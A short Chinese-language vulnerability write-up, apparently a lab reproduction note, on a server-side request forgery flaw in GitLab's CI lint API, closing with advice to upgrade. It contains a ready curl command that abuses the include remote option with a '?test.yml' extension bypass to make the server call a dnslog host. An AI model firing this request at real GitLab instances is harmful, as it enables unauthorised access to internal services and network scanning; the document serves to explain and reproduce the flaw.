漏洞描述:
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。
Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式。而根据其说明文档文档,其include操作支持remote选项,用于获取远端的yaml。因此在此处将remote参数设置为本地回环地址,同时由于后端会检查最后扩展名,加上?test.yaml 即可绕过。
当13.10.5 > GitLab >= 10.5、13.11.5 > GitLab >= 13.11、13.12.2 > GitLab >= 13.12时,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.获取dnslog地址
http://www.dnslog.cn/
3.curl检测
curl -k -s --show-error -H 'Content-Type: application/json' http://攻击ip:端口/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://dnslog地址/api/v1/targets/?test.yml"}'
4.查看dnslog回显
借此漏洞,攻击者可以获取正常用户访问不到的信息,并对内网进行扫描,攻击。
修复建议:
1.升级版本。